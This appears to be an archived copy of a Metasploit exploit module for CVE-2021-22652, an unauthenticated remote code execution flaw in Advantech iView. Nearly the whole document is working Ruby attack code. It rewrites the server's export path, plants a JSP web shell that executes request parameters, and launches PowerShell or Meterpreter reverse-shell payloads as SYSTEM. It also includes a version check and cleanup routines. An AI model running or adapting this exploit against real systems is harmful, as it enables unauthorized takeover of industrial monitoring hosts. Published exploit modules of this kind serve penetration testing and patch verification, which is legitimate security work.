Advantech iView Unauthenticated Remote Code Execution

Related Vulnerabilities: CVE-2021-22652  
Publish Date: 23 Mar 2021
                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Advantech iView Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an unauthenticated configuration change combined
          with an unauthenticated file write primitive, leading to an arbitrary
          file write that allows for remote code execution as the user running
          iView, which is typically NT AUTHORITY\SYSTEM.

          This issue was demonstrated in the vulnerable version 5.7.02.5992 and
          fixed in version 5.7.03.6112.
        },
        'Author' => [
          'wvu', # Discovery and exploit
          'Spencer McIntyre' # Check, docs, and testing
        ],
        'References' => [
          ['CVE', '2021-22652'],
          ['URL', 'https://blog.rapid7.com/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/'],
          ['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-040-02']
        ],
        'DisclosureDate' => '2021-02-09', # ICS-CERT advisory
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'Application path', '/iView3'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'MenuServlet'),
      'vars_post' => {
        'page_action_type' => 'getMenuFragment',
        'page' => 'version.frag'
      }
    )
    return CheckCode::Unknown unless res&.code == 200

    version = res.get_html_document.xpath('string(//input[starts-with(@value, "Version")]/@value)')
    return CheckCode::Unknown unless version =~ /Version (\d+\.\d+) \(Build ([\d.]+)\)/

    version = "#{Regexp.last_match(1)}.#{Regexp.last_match(2)}"
    vprint_status("Identified the version as #{version}")
    return CheckCode::Safe if Rex::Version.new(version) >= Rex::Version.new('5.7.03.6112')

    CheckCode::Appears
  end

  def exploit
    config = retrieve_config
    updated = update_config(config)
    write_jsp_stub

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  ensure
    restore_config(config) if config && updated
  end

  def retrieve_config
    print_status('Retrieving config')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
      'vars_post' => {
        'page_action_type' => 'retrieveSystemSettings'
      }
    )

    unless res && res.code == 200 && (config = res.get_json_document.first)
      fail_with(Failure::NotFound, 'Failed to retrieve config')
    end

    print_good('Successfully retrieved config')
    vprint_line(JSON.pretty_generate(config))

    config
  end

  def update_config(config)
    print_status('Updating config')

    config = config.dup
    config['EXPORTPATH'] = 'webapps\\iView3\\'

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
      'vars_post' => {
        'page_action_type' => 'updateSystemSettings',
        'json_obj' => config.to_json
      }
    )

    unless res && res.code == 200 && (config = res.get_json_document.first)
      fail_with(Failure::NotFound, 'Failed to retrieve updated config')
    end

    unless config['EXPORTPATH'] == 'webapps\\iView3\\'
      fail_with(Failure::NotVulnerable, 'Failed to update config')
    end

    print_good('Successfully updated config')
    vprint_line(JSON.pretty_generate(config))

    true
  end

  def write_jsp_stub
    print_status('Writing JSP stub')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
      'vars_post' => {
        'page_action_type' => 'exportInventoryTable',
        'col_list' => "#{jsp_stub}-NULL",
        'sortname' => 'NULL',
        'sortorder' => '',
        'filename' => jsp_filename
      }
    )

    unless res && res.code == 200
      fail_with(Failure::NotVulnerable, 'Failed to write JSP stub')
    end

    register_file_for_cleanup("webapps\\iView3\\#{jsp_filename}")

    print_good('Successfully wrote JSP stub')
  end

  def execute_command(cmd, _opts = {})
    cmd.prepend('cmd.exe /c ')

    print_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, jsp_filename),
      'vars_post' => {
        jsp_param => cmd
      }
    )

    unless res && res.code == 200
      fail_with(Failure::PayloadFailed, 'Failed to execute command')
    end

    print_good('Successfully executed command')
  end

  def restore_config(config)
    print_status('Restoring config')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
      'vars_post' => {
        'page_action_type' => 'updateSystemSettings',
        'json_obj' => config.to_json
      }
    )

    unless res && res.code == 200 && (config = res.get_json_document.first)
      fail_with(Failure::NotFound, 'Failed to retrieve restored config')
    end

    if config['EXPORTPATH'] == 'webapps\\iView3\\'
      fail_with(Failure::UnexpectedReply, 'Failed to restore config')
    end

    print_good('Successfully restored config')
    vprint_line(JSON.pretty_generate(config))
  end

  def jsp_stub
    %(<% Runtime.getRuntime().exec(request.getParameter("#{jsp_param}")); %>)
  end

  def jsp_param
    @jsp_param ||= rand_text_alphanumeric(8..42)
  end

  def jsp_filename
    @jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
  end

end
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